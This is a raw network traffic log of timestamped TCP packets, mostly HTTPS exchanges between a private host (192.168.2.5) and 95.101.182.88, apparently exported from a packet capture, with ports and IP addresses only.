Feb 26, 2025 01:49:19.158709049 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.158731937 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.158751965 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.158931971 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.158982038 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.158989906 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.159655094 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.159713030 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.159713030 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.159740925 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.159770012 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.159904003 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.159975052 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.159982920 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.160130024 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.160168886 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.160178900 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.160211086 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.160238981 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.161158085 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.161217928 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.161225080 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.165050983 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.165111065 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.165119886 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.165134907 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.165170908 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.173890114 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.173949003 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.173962116 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.176918983 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.176965952 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.176980019 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.177004099 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.177026987 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.187743902 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.187803030 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.187810898 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.190951109 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.208252907 CET	61412	443	192.168.2.5	13.74.129.1
Feb 26, 2025 01:49:19.244420052 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.244468927 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.244498968 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.244523048 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.244539022 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.244725943 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.244781017 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.244787931 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.245019913 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.245076895 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.245084047 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.245148897 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.245202065 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.245209932 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.246048927 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.246100903 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.246108055 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.246362925 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.246417046 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.246428013 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.246450901 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.246517897 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.246625900 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.246684074 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.246701002 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.246732950 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.247761011 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.247817039 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.247826099 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.247839928 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.247864008 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.247880936 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.251418114 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.251491070 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.251497984 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.261476040 CET	61428	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:19.261497021 CET	443	61428	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:19.261568069 CET	61428	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:19.261770964 CET	61428	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:19.261782885 CET	443	61428	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:19.262221098 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.262260914 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.262279034 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.262289047 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.262311935 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.263468981 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.263530016 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.263537884 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.287534952 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.287615061 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.287621021 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.287647009 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.287672997 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.330847979 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.330904961 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.330914974 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.331298113 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.331383944 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.331392050 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.331408978 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.331464052 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.331470966 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.331577063 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.331630945 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.331640005 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.332776070 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.332829952 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.332833052 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.332839966 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.332899094 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.333040953 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.333100080 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.333106041 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.333143950 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.333889961 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.333931923 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.333947897 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.333955050 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.333987951 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.334462881 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.334526062 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.334532022 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.346919060 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.346961975 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.346982002 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.346992016 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.347018003 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.348642111 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.348696947 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.348706007 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.360874891 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.360938072 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.360948086 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.360963106 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.361017942 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.361025095 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.374171972 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.374237061 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.374252081 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.417848110 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.417906046 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.417920113 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.417931080 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.417963028 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.418060064 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.418119907 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.418127060 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.419127941 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.419195890 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.419203043 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.419239998 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.419286013 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.419294119 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.419399977 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.419456959 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.419466019 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.419620991 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.419660091 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.419680119 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.419687033 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.419719934 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.420500994 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.420576096 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.420583010 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.424288988 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.424329042 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.424365044 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.424372911 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.424411058 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.433419943 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.433495045 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.433502913 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.433545113 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.436403036 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.436444044 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.436479092 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.436485052 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.436511993 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.436530113 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.447449923 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.447534084 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.447544098 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.508538008 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.508584976 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.508599043 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.508611917 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.508656025 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.509840012 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.509898901 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.509906054 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.509938955 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.510643959 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.510688066 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.510706902 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.510713100 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.510737896 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.510751963 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.512876034 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.512933969 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.512940884 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.513461113 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.513504028 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.513518095 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.513525963 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.513566017 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.514153004 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.514210939 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.514218092 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.514252901 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.517107010 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.517153978 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.517175913 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.517184019 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.517210007 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.517229080 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.525548935 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.525616884 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.525624990 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.527956963 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.527996063 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.528026104 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.528034925 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.528084993 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.530167103 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.533725977 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.533786058 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.533792973 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.533849001 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.594743967 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.594808102 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.594816923 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.594836950 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.594861031 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.594881058 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.596312046 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.596369982 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.596378088 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.597006083 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.597054958 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.597062111 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.597075939 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.597141027 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.597146988 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.599239111 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.599317074 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.599325895 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.599735975 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.599776983 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.599797964 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.599808931 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.599833965 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.599956036 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.600012064 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.600019932 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.600682974 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.600720882 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.600739956 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.600748062 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.600773096 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.603602886 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.603682041 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.603689909 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.613986969 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.614039898 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.614067078 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.614075899 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.614109993 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.614376068 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.614432096 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.614439011 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.634587049 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.634625912 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.634668112 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.634676933 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.634711027 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.681457043 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.681528091 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.681544065 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.683239937 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.683280945 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.683301926 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.683310986 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.683341026 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.683342934 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.683356047 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.683454990 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.683511019 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.683520079 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.686270952 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.686311960 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.686338902 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.686347008 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.686389923 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.686465025 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.686531067 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.686537981 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.686569929 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.687452078 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.687494040 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.687520027 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.687526941 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.687570095 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.687633038 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.687690020 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.687697887 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.699099064 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.699141026 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.699165106 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.699172974 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.699207067 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.700547934 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.700615883 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.700623989 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.706773996 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.706835985 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.706835985 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.706866026 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.706895113 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.721116066 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.721177101 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.721187115 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.769445896 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.769489050 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.769507885 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.769521952 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.769551039 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.769654989 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.769709110 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.769716978 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.772468090 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.772511959 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.772545099 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.772553921 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.772584915 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.772787094 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.772847891 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:19.772855997 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.773113012 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.773149967 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:19.773164988 CET	61406	443	192.168.2.5	95.101.182.88
